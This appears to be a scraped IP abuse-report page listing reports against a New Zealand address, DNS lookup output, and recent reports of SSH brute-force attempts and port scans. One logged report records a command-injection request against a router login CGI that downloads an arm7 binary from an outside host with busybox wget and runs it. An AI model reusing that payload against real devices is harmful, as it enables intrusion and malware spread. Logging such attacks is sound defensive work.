City: unknown
Region: unknown
Country: New Zealand
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
| IP | Type | Details | Datetime |
|---|---|---|---|
| 114.134.164.222 | attackbotsspam | 400 BAD REQUEST |
2020-04-27 19:10:20 |
| 114.134.164.222 | attack | /cgi-bin/mainfunction.cgi%3Faction=login%26keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27%26loginUser=a%26loginPwd=a |
2020-04-05 02:27:08 |
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 114.134.164.5
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 28388
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;114.134.164.5. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025022500 1800 900 604800 86400
;; Query time: 16 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Feb 25 14:09:29 CST 2025
;; MSG SIZE rcvd: 1065.164.134.114.in-addr.arpa domain name pointer 114-134-164-5.static.oneconnect.nz.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
5.164.134.114.in-addr.arpa name = 114-134-164-5.static.oneconnect.nz.
Authoritative answers can be found from:| IP | Type | Details | Datetime |
|---|---|---|---|
| 149.202.164.82 | attack | May 23 06:42:33 jane sshd[9575]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.164.82 May 23 06:42:34 jane sshd[9575]: Failed password for invalid user ufb from 149.202.164.82 port 37260 ssh2 ... |
2020-05-23 16:43:26 |
| 178.128.59.109 | attack | Unauthorized connection attempt detected from IP address 178.128.59.109 to port 10331 [T] |
2020-05-23 16:29:12 |
| 124.120.81.141 | attackbotsspam | Invalid user service from 124.120.81.141 port 8045 |
2020-05-23 16:52:40 |
| 157.245.194.35 | attackbotsspam | Invalid user licheng from 157.245.194.35 port 49626 |
2020-05-23 16:41:01 |
| 89.163.132.37 | attack | May 23 10:07:31 ns382633 sshd\[24529\]: Invalid user zuu from 89.163.132.37 port 54739 May 23 10:07:31 ns382633 sshd\[24529\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.163.132.37 May 23 10:07:33 ns382633 sshd\[24529\]: Failed password for invalid user zuu from 89.163.132.37 port 54739 ssh2 May 23 10:23:23 ns382633 sshd\[27297\]: Invalid user fxi from 89.163.132.37 port 59355 May 23 10:23:23 ns382633 sshd\[27297\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.163.132.37 |
2020-05-23 17:07:27 |
| 180.182.228.195 | attack | SmallBizIT.US 1 packets to tcp(2323) |
2020-05-23 16:27:09 |
| 84.1.30.70 | attackspambots | May 23 09:18:42 ns382633 sshd\[15516\]: Invalid user jmb from 84.1.30.70 port 50190 May 23 09:18:42 ns382633 sshd\[15516\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=84.1.30.70 May 23 09:18:45 ns382633 sshd\[15516\]: Failed password for invalid user jmb from 84.1.30.70 port 50190 ssh2 May 23 09:34:28 ns382633 sshd\[18220\]: Invalid user dyo from 84.1.30.70 port 34218 May 23 09:34:28 ns382633 sshd\[18220\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=84.1.30.70 |
2020-05-23 17:07:39 |
| 103.132.53.66 | attackbots | Invalid user ubnt from 103.132.53.66 port 56207 |
2020-05-23 17:03:41 |
| 156.231.45.78 | attack | Port scan: Attack repeated for 24 hours |
2020-05-23 16:41:31 |
| 159.192.143.249 | attackspambots | $f2bV_matches |
2020-05-23 16:40:34 |
| 129.204.224.78 | attackspam | May 23 08:59:10 MainVPS sshd[30964]: Invalid user cftest from 129.204.224.78 port 36216 May 23 08:59:10 MainVPS sshd[30964]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.224.78 May 23 08:59:10 MainVPS sshd[30964]: Invalid user cftest from 129.204.224.78 port 36216 May 23 08:59:12 MainVPS sshd[30964]: Failed password for invalid user cftest from 129.204.224.78 port 36216 ssh2 May 23 09:01:56 MainVPS sshd[501]: Invalid user qhc from 129.204.224.78 port 38160 ... |
2020-05-23 16:48:27 |
| 121.227.153.232 | attack | $f2bV_matches |
2020-05-23 16:53:28 |
| 176.113.115.54 | attack | ET DROP Dshield Block Listed Source group 1 - port: 34412 proto: TCP cat: Misc Attack |
2020-05-23 16:32:46 |
| 122.116.75.124 | attackbots | SSH authentication failure x 6 reported by Fail2Ban ... |
2020-05-23 16:53:05 |
| 125.64.94.221 | attackbotsspam | Port scan on 4 port(s): 5081 7002 8112 32792 |
2020-05-23 16:51:14 |